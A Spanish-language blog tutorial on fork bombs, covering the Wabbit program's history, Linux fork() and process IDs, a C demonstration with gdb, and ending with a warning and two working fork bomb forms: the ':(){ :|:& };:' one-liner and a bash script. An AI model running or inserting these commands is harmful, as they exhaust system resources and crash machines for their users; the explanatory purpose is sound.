En esta entrada vamos a ver como crear una bomba fork y entender lo que estamos haciendo. Para entenderlo lo mejor es aclarar antes un par de conceptos y poner un par de ejemplos.
Si todo va bien al final del post se tendría que tener lo necesario para entender que hacemos cuando lanzamos una bomba fork.
¿De donde viene el termino wabbit?
En 1974 un joven estaba trabajando con el mainframe IBM /360 y decidió escribir un programa llamado Wabbit. Un programa que mientras se ejecutaba consumía los recursos del sistema replicándose a si mismo.
Wabbit no infectaba otros dispositivos en la red, solamente era capaz de consumir los recursos de la máquina en la que estaba instalado.
La historia cuenta que el programa definitivamente tiró el sistema y eso terminó costándole su trabajo.
Esta variedad de malware en la actualidad englobaría las bombas fork y se acercaría a ser catalogado como ataque de denegación de servicio (DoS).
Fork y Clone en Linux
A la hora de crear procesos linux provee de dos funciones:
- La función clone()
- La función fork()
Las 2 crean nuevos procesos partiendo de un proceso padre, aunque lo hacen de forma diferente. La función que nos interesa es fork(),
PID | Process ID, número único o de identificación del proceso. |
PPID | Parent Process ID, padre del proceso |
Es bueno tener en cuenta y claro lo que es el PID y el PPID de un proceso en Linux.
De esta forma entenderemos que la bomba fork al final de cuentas lo que irá haciendo es crear forks de si misma. Llamará a la función fork() y esto irá creando esas copias para ir consumiendo los recursos y llevar al límite el sistema de forma que no deje espacio para otros procesos.
Un ejemplo en C para comprender la función fork()
Vamos a crear un pequeño programa en C. Un programa que realizará lo siguiente:
– Inicializa una variable llamada edad con valor 20.
– Llama a la función fork() para realizar un fork de si mismo y crear un nuevo proceso que tiene como padre el programa que hemos lanzado.
– Cambia el valor de la variable edad de 20 a 40 en el programa que hemos lanzado y de 20 a 10 en el fork.
– Imprime en pantalla la dirección de memoria donde se ha inicializado la variable.
Para hacer esto vamos a necesitar gcc, gdb y un editor de texto plano como vi/vim/nano/emacs/geany/sublime/… (el que más rabia te de). En Debian/Ubuntu/… se pueden instalar las dependencias así:
# apt install gcc gdb
Luego en un archivo llamado fork.c vamos a copiar el siguiente contenido:
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main(void) {
pid_t pidHijo;
pid_t pidPadre;
int edad = 20;
pidPadre = getpid();
pidHijo = fork();
if (pidHijo == 0){
printf("--- HIJO ---\n");
printf("Soy el fork y tengo un PID %ld y un PPID %ld\n", (long)getpid(), (long)pidPadre);
printf("%p\n", &edad);
printf("%d\n", edad);
int edad = 10;
printf("%p\n", &edad); printf("%d\n", edad);
}else{
printf("--- PADRE ---\n");
printf("Soy el padre y tengo un PID %ld y un PPID %ld\n", (long)getpid(), (long)pidPadre);
printf("%p\n", &edad);
printf("%d\n", edad);
int edad = 40;
printf("%p\n", &edad);
printf("%d\n", edad);
}
sleep(120);
return 0; }
Compilamos el código con gcc así:
$ gcc fork.c -o fork
Y lo ejecutamos así:
$ ./fork
Veremos algo similar a lo que se ve en la siguiente captura:
El mismo programa nos muestra algo interesante.
Por un lado la variable edad inicialmente estaba inicializada con valor 20. En esa captura se ve que tanto el proceso padre como el fork hijo pueden leer el valor de la misma dirección de memoria.
Esto es porque el hijo es un fork del padre y es como una copia de este. No obstante luego el proceso padre y el hijo cambian el valor de la variable llamada igual a otro valor y vemos que esto se posiciona en otra dirección de memoria para cada uno de ellos.
Se puede entender por tanto que aunque cuando se realiza el fork son iguales acabamos de hacer un cambio. Y es que son procesos independientes con su PID cada uno.
El sleep de 2 minutos (120 segundos) es para que podamos comprobar el valor en memoria usando gdb así:
$ gdb --batch -ex 'x/u 0x7ffc84c144f0' -p "20899"
También se podría comprobar que son 2 procesos así:
$ ps aux | grep -i "./fork" | grep -iv grep
Formas de lanzar una bomba fork en Linux
Cuidado con lanzar esto en tu equipo o en el de otras personas. Mejor si lo lanzas en una vagrant o cualquier máquina virtual de pruebas que tengas controlada.
Una forma corta sería así:
:(){ :|:& };:
Se puede ver la explicación aquí: explainshell.com/explain?cmd=%3A%28%29%7B+%3A%7C%3A%26+%7D%3B%3A
De forma larga dentro de un script:
#!/bin/bash
bomba(){
bomba | bomba &
}
bomba
Para detectar bombas fork que van generando forks a x velocidad: rexgrep.tripod.com/rexfbdmain.htm
Saludos cordiales.